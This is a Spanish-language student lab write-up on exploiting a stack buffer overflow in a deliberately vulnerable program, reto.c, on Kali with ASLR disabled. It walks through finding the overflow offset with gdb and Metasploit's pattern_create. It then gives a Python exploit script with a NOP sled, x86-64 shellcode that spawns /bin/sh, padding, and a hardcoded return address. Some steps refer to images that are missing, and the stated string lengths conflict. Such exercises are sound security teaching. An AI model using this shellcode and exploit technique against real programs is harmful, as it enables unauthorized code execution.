Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Actividades
En la siguiente actividad deberás crear dos exploits para el programa reto.c. El primero
deberá conseguir acceder a la función premio() alterando el flujo del programa y el
segundo deberá obtener una shell local en la propia máquina. Se deberá realizar en la
máquina Kali desactivando ASLR y compilando con las opciones vistas para permitir
ejecución de código en la pila
Buffer Overflow
cat /proc/sys/kernel/randomize_va_space
Como vemos el valor de ASLR es 2, para deshabilitar las funciones de ASLR , utilizamos
el siguiente comando y volvemos a revisar el estado del ASRL.
Esta tabla muestra una breve explicación de algunos de los argumentos que
utilizaremos para poder compilar nuestro código:
Compilamos nuestro código son los parámetros que se explicaron en una sola línea,
(usamos el -mpreferred-stack-boundary=4) ya que nuestro sistema es un 64 bits,
para saber que tipo de arquitectura tenemos bastará con ingresar el comando “arch” en
la consola si nos muestra un x86_64, entonces tenemos un 64 bits, si fuera tuviéramos
un Sistema de 32 bits usamos -mpreferred-stack-boundary=2.
Dónde reto.c es es el archivo a compilar y reto es el nombre del archivo compilado,
listamos los archivos en el directorio y vemos que el archivo se ha compilado
correctamente.
Hasta éste momento ya se tiene todo para poder realizar el buffer overflow, primero
que todo necesitamos encontrar el tamaño del argumento (acá parámetro) donde el
código falla.
Para hacer esto debemos entrar en modo debugger con el comando gdb ./ejecutable,
siguiendo el ejercicio nuestro comando quedaría de la siguiente forma.
gdb ./reto
Ahora deberemos calcular qué tamaño de cadena es la que causa el error, esto lo
haremos con el siguiente comando:
run $(python -c 'print "A" * 100')
Donde "A" es el carácter que queremos repetir y el 100 es el número de veces que
queremos que se multiplique el carácter previo en una sola cadena, recordemos que en
nuestro código declaramos la variable “buffer” como un array con una longitud de 100
posiciones.
Ejecutamos el comando dentro del “modo debugger” y vemos que se crea una cadena
con 100 caracteres con la letra “A”.
Para poder conocer la longitud de la cadena que debemos de utilizar para poder
provocar el overflow utilizaremos la herramientas de creación de cadenas
alfanuméricas que nos provee Kali, para ello abriremos una nueva terminal accediendo
al directorio /usr/share/metasploit-framework/tools/exploit y ejecutaremos el
siguiente comando:
./pattern_create.rb -l 130
Donde pattern_create.rb es el ejecutable que nos permite generar una cadena
alfanumérica y el -l 130 es la longitud de caracteres que deseamos (length) al ejecutar
este comando obtenemos una cadena similar a la de la imagen.
Vemos que en la imagen previa obtenemos un error, al obtener éste error ingresamos
el comando x/xw $rsp (dentro de la consola en modo debugger) que nos ayudará a
obtener la dirección de memoria donde se produjo el error al haber deshabilitado el
ASLR ésta dirección de memoria no cambiará.
En éste caso es 120, ahora ya sabemos exactamente la longitud del tamaño de
la cadena que necesitamos para poder provocar el overflow.
\x55\x51\x55\x55\x55\x55
nops = '\x90' * 64
shellCode = (
'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69' +
'\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
)
relleno = 'A' * (130 - 64 - 29)
eip = '\x50\xe2\xff\xff\xff\x7f'
print nops + shellCode + relleno + eip
Como vemos se ejecutó el código, lo que significa que nuestro ejecutable ./shell.py es
accesible, pero ahora vemos que también nos muestra un error y ésto es debido a que
estamos pasando la cadena de 130 caracteres que se mencionó en la explicación del
código ./shell.py, sabemos que la cadena correcta es de 120 caracteres pero éste
calor lo cambiaremos más adelante.
Comprobaremos si desde el shell que abrimos podemos saber con que usuario estamos
logueados por medio del comando whoami y además haremos un listado por medio
del comando ls del directorio actual, todo debería funcionar correctamente
Con ello termina nuestro ejercicio así como el manual para desarrollar la actividad de
buffer overflow.
CONCLUSIÓN
FUENTES
S7_0, (Agosto 2016), I'm trying to exploit a buffer overflow, am I doing something
wrong?, https://stackoverflow.com
https://stackoverflow.com/questions/38416045/im-trying-to-exploit-a-bufferoverflow
-am-i-doing-something-wrong